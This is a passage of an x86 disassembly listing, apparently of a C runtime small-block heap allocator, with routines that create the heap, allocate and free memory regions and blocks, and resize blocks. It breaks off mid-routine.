sub_418A68	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A83	proc near		; CODE XREF: sub_417AF8+5Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_421174	; HeapCreate
		test	eax, eax
		mov	dword_46AB00, eax
		jz	short loc_418AB8
		call	sub_418ABF
		test	eax, eax
		jnz	short loc_418ABB
		push	dword_46AB00
		call	dword_421170	; HeapDestroy

loc_418AB8:				; CODE XREF: sub_418A83+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_418ABB:				; CODE XREF: sub_418A83+27j
		push	1
		pop	eax
		retn
sub_418A83	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ABF	proc near		; CODE XREF: sub_418A83+20p
		push	140h
		push	0
		push	dword_46AB00
		call	dword_42114C	; RtlAllocateHeap
		test	eax, eax
		mov	dword_46AAFC, eax
		jnz	short loc_418ADC
		retn
; ---------------------------------------------------------------------------

loc_418ADC:				; CODE XREF: sub_418ABF+1Aj
		and	dword_46AAF4, 0
		and	dword_46AAF8, 0
		push	1
		mov	dword_46AAF0, eax
		mov	dword_46AAE8, 10h
		pop	eax
		retn
sub_418ABF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418AFD	proc near		; CODE XREF: sub_415E3D+Ap
					; sub_4174DF+3Dp ...

arg_0		= dword	ptr  4

		mov	eax, dword_46AAF8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_46AAFC
		lea	ecx, [eax+ecx*4]

loc_418B0D:				; CODE XREF: sub_418AFD+26j
		cmp	eax, ecx
		jnb	short loc_418B25
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_418B27
		add	eax, 14h
		jmp	short loc_418B0D
; ---------------------------------------------------------------------------

loc_418B25:				; CODE XREF: sub_418AFD+12j
		xor	eax, eax

locret_418B27:				; CODE XREF: sub_418AFD+21j
		retn
sub_418AFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B28	proc near		; CODE XREF: sub_415E3D+16p
					; sub_4174DF+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_418BEE
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_418B80
		mov	[ebp+arg_4], edi

loc_418B80:				; CODE XREF: sub_418B28+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_418BD2
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_418BAE
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_418BD2
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_418BD2
; ---------------------------------------------------------------------------

loc_418BAE:				; CODE XREF: sub_418B28+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_418BD2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi

loc_418BD2:				; CODE XREF: sub_418B28+60j
					; sub_418B28+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx

loc_418BEE:				; CODE XREF: sub_418B28+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_418BFC
		push	3Fh
		pop	edi

loc_418BFC:				; CODE XREF: sub_418B28+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_418CAB
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_418C27
		mov	[ebp+arg_4], edx
		mov	ecx, edx

loc_418C27:				; CODE XREF: sub_418B28+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_418C39
		mov	edi, edx

loc_418C39:				; CODE XREF: sub_418B28+10Dj
		cmp	ecx, edi
		jz	short loc_418CA8
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_418C90
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_418C6C
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_418C90
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_418C90
; ---------------------------------------------------------------------------

loc_418C6C:				; CODE XREF: sub_418B28+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_418C90
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx

loc_418C90:				; CODE XREF: sub_418B28+11Ej
					; sub_418B28+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx

loc_418CA8:				; CODE XREF: sub_418B28+113j
		mov	edx, [ebp+var_8]

loc_418CAB:				; CODE XREF: sub_418B28+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_418CBA
		cmp	[ebp+arg_4], edi
		jz	loc_418D43

loc_418CBA:				; CODE XREF: sub_418B28+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_418D43
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_418D17
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_418D06
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_418D06:				; CODE XREF: sub_418B28+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_418D40
; ---------------------------------------------------------------------------

loc_418D17:				; CODE XREF: sub_418B28+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_418D2D
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_418D2D:				; CODE XREF: sub_418B28+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi

loc_418D40:				; CODE XREF: sub_418B28+1EDj
		mov	ebx, [ebp+var_C]

loc_418D43:				; CODE XREF: sub_418B28+18Cj
					; sub_418B28+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_418E4E
		mov	eax, dword_46AAF4
		test	eax, eax
		jz	loc_418E40
		mov	ecx, dword_46AAEC
		mov	edi, dword_421178
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi	; VirtualFree
		mov	ecx, dword_46AAEC
		mov	eax, dword_46AAF4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_46AAF4
		mov	ecx, dword_46AAEC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_46AAF4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_46AAF4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_418DCE
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_46AAF4

loc_418DCE:				; CODE XREF: sub_418B28+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_418E40
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi	; VirtualFree
		mov	eax, dword_46AAF4
		push	dword ptr [eax+10h]
		push	0
		push	dword_46AB00
		call	dword_421150	; RtlFreeHeap
		mov	eax, dword_46AAF8
		mov	edx, dword_46AAFC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_46AAF4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_416490
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_46AAF8
		cmp	eax, dword_46AAF4
		jbe	short loc_418E32
		sub	eax, 14h

loc_418E32:				; CODE XREF: sub_418B28+305j
		mov	ecx, dword_46AAFC
		mov	dword_46AAF0, ecx
		jmp	short loc_418E43
; ---------------------------------------------------------------------------

loc_418E40:				; CODE XREF: sub_418B28+233j
					; sub_418B28+2AAj
		mov	eax, [ebp+arg_0]

loc_418E43:				; CODE XREF: sub_418B28+316j
		mov	dword_46AAF4, eax
		mov	dword_46AAEC, esi

loc_418E4E:				; CODE XREF: sub_418B28+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418B28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E53	proc near		; CODE XREF: sub_415E07+Ep
					; sub_4174DF+69p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_46AAF8
		mov	edx, dword_46AAFC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_418E93
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_418EA3
; ---------------------------------------------------------------------------

loc_418E93:				; CODE XREF: sub_418E53+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax

loc_418EA3:				; CODE XREF: sub_418E53+3Ej
		mov	eax, dword_46AAF0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_418ECA

loc_418EB1:				; CODE XREF: sub_418E53+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_418ECA
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_418EB1

loc_418ECA:				; CODE XREF: sub_418E53+5Cj
					; sub_418E53+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_418F48
		mov	ebx, edx

loc_418ED1:				; CODE XREF: sub_418E53+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_418EED
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_418EEB
		add	ebx, 14h
		jmp	short loc_418ED1
; ---------------------------------------------------------------------------

loc_418EEB:				; CODE XREF: sub_418E53+91j
		cmp	ebx, eax

loc_418EED:				; CODE XREF: sub_418E53+83j
		jnz	short loc_418F48

loc_418EEF:				; CODE XREF: sub_418E53+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_418F05
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_418F02
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_418EEF
; ---------------------------------------------------------------------------

loc_418F02:				; CODE XREF: sub_418E53+A5j
		cmp	ebx, [ebp+var_4]

loc_418F05:				; CODE XREF: sub_418E53+9Fj
		jnz	short loc_418F2D
		mov	ebx, edx

loc_418F09:				; CODE XREF: sub_418E53+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_418F1D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_418F1B
		add	ebx, 14h
		jmp	short loc_418F09
; ---------------------------------------------------------------------------

loc_418F1B:				; CODE XREF: sub_418E53+C1j
		cmp	ebx, eax

loc_418F1D:				; CODE XREF: sub_418E53+BBj
		jnz	short loc_418F2D
		call	sub_41915C
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_418F41

loc_418F2D:				; CODE XREF: sub_418E53:loc_418F05j
					; sub_418E53:loc_418F1Dj
		push	ebx
		call	sub_41920D
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_418F48

loc_418F41:				; CODE XREF: sub_418E53+D8j
		xor	eax, eax
		jmp	loc_419157
; ---------------------------------------------------------------------------

loc_418F48:				; CODE XREF: sub_418E53+7Aj
					; sub_418E53:loc_418EEDj ...
		mov	dword_46AAF0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_418F6F
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_418FA6

loc_418F6F:				; CODE XREF: sub_418E53+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_418FA3

loc_418F8C:				; CODE XREF: sub_418E53+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_418F8C

loc_418FA3:				; CODE XREF: sub_418E53+137j
		mov	edx, [ebp+var_4]

loc_418FA6:				; CODE XREF: sub_418E53+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_418FCF
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi

loc_418FCF:				; CODE XREF: sub_418E53+16Dj
					; sub_418E53+183j
		test	ecx, ecx
		jl	short loc_418FD8
		shl	ecx, 1
		inc	edi
		jmp	short loc_418FCF
; ---------------------------------------------------------------------------

loc_418FD8:				; CODE XREF: sub_418E53+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_418FF5
		push	3Fh
		pop	esi

loc_418FF5:				; CODE XREF: sub_418E53+19Dj
		cmp	esi, edi
		jz	loc_41910A
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_419066
		cmp	edi, 20h
		jge	short loc_419035
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_419063
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_419066
; ---------------------------------------------------------------------------

loc_419035:				; CODE XREF: sub_418E53+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_419063
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_419066
; ---------------------------------------------------------------------------

loc_419063:				; CODE XREF: sub_418E53+1D6j
					; sub_418E53+203j
		mov	ebx, [ebp+arg_0]

loc_419066:				; CODE XREF: sub_418E53+1B0j
					; sub_418E53+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_419116
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_419107
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_4190D8
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_4190C6
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_4190C6:				; CODE XREF: sub_418E53+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_419107
; ---------------------------------------------------------------------------

loc_4190D8:				; CODE XREF: sub_418E53+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_4190F1
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_4190F1:				; CODE XREF: sub_418E53+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_419107:				; CODE XREF: sub_418E53+24Ej
					; sub_418E53+283j
		mov	ecx, [ebp+var_8]

loc_41910A:				; CODE XREF: sub_418E53+1A4j
		test	ecx, ecx
		jz	short loc_419119
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_419119
; ---------------------------------------------------------------------------

loc_419116:				; CODE XREF: sub_418E53+229j
		mov	ecx, [ebp+var_8]

loc_419119:				; CODE XREF: sub_418E53+2B9j
					; sub_418E53+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41914F
		cmp	ebx, dword_46AAF4
		jnz	short loc_41914F
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_46AAEC
		jnz	short loc_41914F
		and	dword_46AAF4, 0

loc_41914F:				; CODE XREF: sub_418E53+2E0j
					; sub_418E53+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_419157:				; CODE XREF: sub_418E53+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418E53	endp


; =============== S U B	R O U T	I N E =======================================



sub_41915C	proc near		; CODE XREF: sub_418E53+CCp
		mov	eax, dword_46AAF8
		mov	ecx, dword_46AAE8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41919F
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_46AAFC
		push	edi
		push	dword_46AB00
		call	dword_421160	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_4191EF
		add	dword_46AAE8, 10h
		mov	dword_46AAFC, eax
		mov	eax, dword_46AAF8

loc_41919F:				; CODE XREF: sub_41915C+11j
		mov	ecx, dword_46AAFC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_46AB00
		lea	esi, [ecx+eax*4]
		call	dword_42114C	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_4191EF
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_42117C	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_4191F3
		push	dword ptr [esi+10h]
		push	edi
		push	dword_46AB00
		call	dword_421150	; RtlFreeHeap

loc_4191EF:				; CODE XREF: sub_41915C+30j
					; sub_41915C+67j
		xor	eax, eax
		jmp	short loc_41920A
; ---------------------------------------------------------------------------

loc_4191F3:				; CODE XREF: sub_41915C+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_46AAF8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_41920A:				; CODE XREF: sub_41915C+95j
		pop	edi
		pop	esi
		retn
sub_41915C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41920D	proc near		; CODE XREF: sub_418E53+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx

loc_41921F:				; CODE XREF: sub_41920D+19j
		test	eax, eax
		jl	short loc_419228
		shl	eax, 1
		inc	ebx
		jmp	short loc_41921F
; ---------------------------------------------------------------------------

loc_419228:				; CODE XREF: sub_41920D+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax

loc_41923D:				; CODE XREF: sub_41920D+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41923D
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_42117C	; VirtualAlloc
		test	eax, eax
		jnz	short loc_419270
		or	eax, 0FFFFFFFFh
		jmp	loc_419303
; ---------------------------------------------------------------------------

loc_419270:				; CODE XREF: sub_41920D+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_4192B6
		lea	eax, [edi+10h]

loc_41927D:				; CODE XREF: sub_41920D+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41927D

loc_4192B6:				; CODE XREF: sub_41920D+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_4192F3
		or	[eax+4], edi

loc_4192F3:				; CODE XREF: sub_41920D+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_419303:				; CODE XREF: sub_41920D+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41920D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419308	proc near		; CODE XREF: sub_4174DF+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_4194B6
		test	bl, 1
		jnz	loc_4194AF
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_4194AF
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41937F
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_41937F:				; CODE XREF: sub_419308+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_4193CF
		cmp	ecx, 20h
		jnb	short loc_4193AB
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4193CF
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4193CF
; ---------------------------------------------------------------------------

loc_4193AB:				; CODE XREF: sub_419308+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4193CF
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_4193CF:				; CODE XREF: sub_419308+7Dj
					; sub_419308+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41949D
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_419409
		push	3Fh
		pop	edi

loc_419409:				; CODE XREF: sub_419308+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41948B
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
